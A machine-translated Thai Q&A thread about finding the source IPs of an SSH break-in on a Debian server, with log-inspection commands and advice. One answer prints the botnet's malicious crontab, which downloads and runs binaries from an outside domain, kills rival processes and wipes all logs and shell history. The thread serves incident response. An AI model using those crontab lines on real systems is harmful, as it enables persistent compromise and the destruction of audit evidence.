ประวัติที่อยู่ IP ที่เข้าถึงเซิร์ฟเวอร์ผ่าน ssh


42

ฉันพบว่าเซิร์ฟเวอร์ของฉันถูกแฮ็กและติดเชื้อบ็อตเน็ตจีนที่รู้จัก

มันเป็นเครื่องต้นแบบ / การทดสอบเครื่องเสมือนที่มี IP แบบคงที่ของตัวเอง (ที่อยู่ในสหรัฐฯ) ดังนั้นจึงไม่มีอันตรายใด ๆ เกิดขึ้น

ตอนนี้ฉันอยากรู้ว่า IP / s ใดที่ใช้ในการบุกรุกเพื่อทราบว่าการโจมตีเกิดจากประเทศจีนหรือไม่

มีวิธีดูประวัติของการเชื่อมต่อที่ได้รับบน ssh บนเซิร์ฟเวอร์หรือไม่?

แก้ไข: ระบบคือ Linux Debian 7

คำตอบ:


45

ดูผลลัพธ์ของlastคำสั่งและสิ่งใดก็ตามที่มีที่อยู่ IP หรือชื่อโฮสต์แทนการเว้นวรรคว่างเข้ามาในเครือข่าย หากsshdเป็นวิธีเดียวในการทำเช่นนั้นในระบบนี้แล้วคุณไป

หรืออีกวิธีหนึ่ง (ถ้าเป็นลินุกซ์), คุณสามารถตรวจสอบ/var/log/secure(ใน distros RH-based) หรือ/var/log/auth.log(บน distros Debian-based) ที่sshdมักจะติดตามของการเชื่อมต่อทำแม้ว่าพวกเขาจะไม่ได้ผลในการเข้าสู่ระบบที่ประสบความสำเร็จ (ซึ่งฮิตutmp/ wtmpซึ่ง คือสิ่งที่lastจะอ่านจาก) ตัวอย่าง:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(ซึ่งอาจไม่จำเป็นต้องเป็น OpenSSH sshd) จะบันทึกข้อมูลนี้/var/adm/messages

แก้ไข:

@derobert ทำให้เป็นจุดที่ยอดเยี่ยม เป็นสิ่งสำคัญที่ต้องจำไว้ว่าในทุกระบบหากบัญชี superuser ของคุณถูกบุกรุกการเดิมพันทั้งหมดจะถูกปิดตั้งแต่ไฟล์บันทึกเช่น/var/log/wtmpหรือ/var/adm/messagesสามารถแก้ไขได้โดยผู้โจมตี สิ่งนี้สามารถลดลงได้ถ้าคุณดันล็อกออฟเซิร์ฟเวอร์ไปยังตำแหน่งที่ปลอดภัย

ตัวอย่างเช่นที่ร้านหนึ่งฉันเคยทำงานที่เรามีเครื่อง "Audit Vault" ที่มีความปลอดภัยเพื่อรับไฟล์บันทึกการตรวจสอบจากเซิร์ฟเวอร์ต่างๆในศูนย์ข้อมูลเท่านั้น ฉันขอแนะนำให้มีการตั้งค่าที่คล้ายกันในอนาคต (เนื่องจาก "ฉันมีเครื่องทดสอบ" ดูเหมือนว่าคุณกำลังทำงานในร้านค้าขนาดใหญ่)


7
คำตอบของคุณครอบคลุมเกือบทุกอย่างดังนั้นฉันไม่ต้องการเพิ่มของฉันเอง ... แต่โปรดเพิ่มบางอย่างตามแนวของ "ถ้าผู้โจมตีได้รับรูทจากนั้นในการกำหนดค่าส่วนใหญ่ไม่มีข้อมูลการบันทึกบนกล่องที่เชื่อถือได้จริง ๆ เนื่องจากรากสามารถแก้ไขบันทึกได้อย่างง่ายดาย "
Derobert

1
derobert @ ฉันเพิ่มรายละเอียดบางอย่างไปพร้อมกับสิ่งที่คุณได้แนะนำ :)
Ramesh

รอสักครู่ '/ var / log / secure' ไม่ได้อยู่ใน Debian แต่อยู่ในระยะเรดแฮท
Secko

@Secko แก้ไขคำตอบเพื่อรวมทั้งสองอย่าง
Bratchley

14

มีวิธีดูประวัติของการเชื่อมต่อที่ได้รับบน ssh บนเซิร์ฟเวอร์หรือไม่?

รายการนี้ควรให้รายการคุณ:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

จากนั้นคุณสามารถใช้geoiplookupจากgeoip-binแพ็คเกจเพื่อไปจากชื่อโฮสต์หรือที่อยู่ IP ไปยังประเทศ


มีประโยชน์ +1 คุณสามารถอัพเดตคำสั่งเพื่อแสดงเวลาและวันที่ได้หรือไม่?
Eduard Florinescu

3
@Eduard Florinescu ขออภัยsedทักษะของฉันไม่ใช่พระเจ้านั่น ในการทำสิ่งที่ซับซ้อนมากขึ้นให้ใช้ Python หรือ parser บันทึกเฉพาะ แต่คุณสามารถลองสิ่งนี้:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Torkel Bjørnson-Langen

6

ดีอย่างที่คาดไว้และตามที่ @Joel Davis กล่าวว่าบันทึกทั้งหมดถูกลบ แต่มีไฟล์หนึ่งไฟล์ที่ @Ramesh กล่าวว่ามีความพยายามในการเข้าถึงผู้ใช้รูท แต่ไม่สามารถป้อนรหัสผ่านที่ถูกต้องได้สองสามครั้ง ลองซ้ำหลายครั้งเกินไป

ฉันวิ่งไปตามเส้นทางสามที่อยู่สองแห่งมาจากจีนและอีกแห่งมาจากปากีสถาน นี่คือ IP:

221.120.224.179
116.10.191.218
61.174.51.221

ข้อมูลเพิ่มเติมเกี่ยวกับบ็อตเน็ตที่ถูกฉีดเข้าไปในเซิร์ฟเวอร์หลังจากถูกบุกรุก:

แฮกเกอร์แก้ไข crontab เพื่อรันโปรแกรมปฏิบัติการ 7 ตัวซึ่งจะใช้เวลา x จำนวนทั้งหมดใช้ CPU ทั้งหมดเอาท์พุทเครือข่ายเซิร์ฟเวอร์สูงสุดแล้วก็ตาย นอกจากนี้ยังเพิ่ม readme ใน crontab 100 ครั้งเพื่อซ่อนบรรทัดที่เพิ่มดังนั้นเมื่อคุณทำcrontab -lคุณจะถูก spammed โดย readme ที่มีบรรทัดที่ซ่อนอยู่ เพื่อหลีกเลี่ยงสิ่งนี้ฉันใช้crontab -l | grep -v '^#'และนี่คือผลลัพธ์ของคำสั่งนั้น:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

อย่างที่คุณเห็นไฟล์บันทึกทั้งหมดจะถูกลบนี่คือสาเหตุที่ฉันไม่สามารถดึงข้อมูลจำนวนมากได้

มันทำให้ทั้งเซิร์ฟเวอร์ (VMs ทั้งหมด) ทำให้หมดเวลาในเว็บไซต์และใน proxmox นี่คือกราฟ (หนามหมายถึง botnet แข็งขัน DDoS'ing และสังเกตเห็นเครือข่ายออก): กิจกรรม botnet

ดังนั้นฉันจะเพิ่มช่วงทั้งหมดของที่อยู่ IP จีนลงในไฟร์วอลล์เพื่อบล็อกการเชื่อมต่อทั้งหมด (ฉันไม่มีผู้ใช้ภาษาจีนดังนั้นฉันไม่สนใจ) ฉันจะไม่อนุญาตการล็อกอินรูทระยะไกลและใช้คอมเพล็กซ์แบบยาว รหัสผ่าน ฉันมักจะเปลี่ยนพอร์ต ssh และใช้คีย์ ssh ส่วนตัวเช่นกัน


3
นี่เป็นสิ่งที่น่ากลัวมาก - มีความคิดว่าพวกเขาเข้าถึงระบบของคุณอย่างไร? มันเป็นเพียงการแฮ็คกำลังดุร้ายกับรหัสผ่านที่อ่อนแอหรือไม่?
user35581

3

จากคำตอบนี้ฉันเห็นข้อมูลด้านล่าง

เมื่อพูดถึงเซิร์ฟเวอร์ SSH ฉันจะให้โซลูชั่นบรรทัดคำสั่งแก่คุณ

การเข้าสู่ระบบของผู้ใช้ติดตามและออกจากระบบ ง่ายมากไฟล์/var/log/auth.logควรมีข้อมูลนี้

ติดตามกิจกรรมของผู้ใช้เหล่านั้น : หากพวกเขาค่อนข้างไร้เดียงสาคุณสามารถตรวจสอบไฟล์.bash_historyในไดเรกทอรีหลัก คุณจะเห็นรายการคำสั่งที่ใช้งาน ปัญหาคือแน่นอนว่าพวกเขาสามารถลบหรือแก้ไขไฟล์นี้

ป้องกันผู้ใช้จากการลบบันทึก : auth.logผู้ใช้ไม่ควรจะไปสัมผัส เพื่อที่จะหยุดพวกเขาจากการเล่นกับbash_historyคุณจำเป็นต้องทำเทคนิคสองสาม

เกิดอะไรขึ้นถ้าผู้ใช้จัดการเพื่อรับการเข้าถึงรูต? : คุณเมาแล้ว นอกจากว่าเขาทำผิดเขาจะสามารถซ่อนรอยเท้าทั้งหมดของเขาได้

จากคำตอบนี้เราสามารถเห็นที่อยู่ IP ของลูกค้าโดยใช้SSH_CLIENTตัวแปร

จากคำตอบนี้ฉันเห็นว่าประวัติ ssh สามารถเก็บไว้ในไฟล์เหล่านี้ได้

นอกจากนี้จะ/var/log/lastlogมี 3 ไฟล์ใน/var/runและ/var/log: utmp, wtmpและbtmpที่ถือข้อมูลเกี่ยวกับการเข้าสู่ระบบปัจจุบัน (และข้อมูลเพิ่มเติม) เข้าสู่ระบบทางประวัติศาสตร์และล้มเหลว ดูวิกิสำหรับคำอธิบายโดยละเอียด คุณไม่สามารถแก้ไขไฟล์ด้วยโปรแกรมแก้ไขปกติ แต่สามารถลบได้


1

คำสั่งที่ง่ายที่สุดที่จะได้รับในช่วง 10 last|headผู้ใช้เข้าสู่ระบบในเครื่องอยู่

ในการรับผู้ใช้ทั้งหมดเพียงแค่ใช้lastคำสั่ง


1

เครื่องนี้ถูกบุกรุก ซึ่งหมายความว่าข้อมูลใด ๆ ในประวัติหรือปัจจุบันไม่สามารถเชื่อถือได้อีกต่อไป

ในระยะสั้นคำตอบคือไม่ คุณไม่สามารถแน่ใจได้ว่าคุณพบที่อยู่ต้นทางจากไฟล์บันทึกใด ๆ ที่บันทึกในเครื่องนี้

เช็ดและติดตั้งใหม่ และแพทช์


1

ในการดูความพยายามในการเข้าสู่ระบบสำเร็จด้วยรหัสผ่าน:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

สำหรับเดเบียนการค้นหาทดสอบนั้นแตกต่างกันเล็กน้อย

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.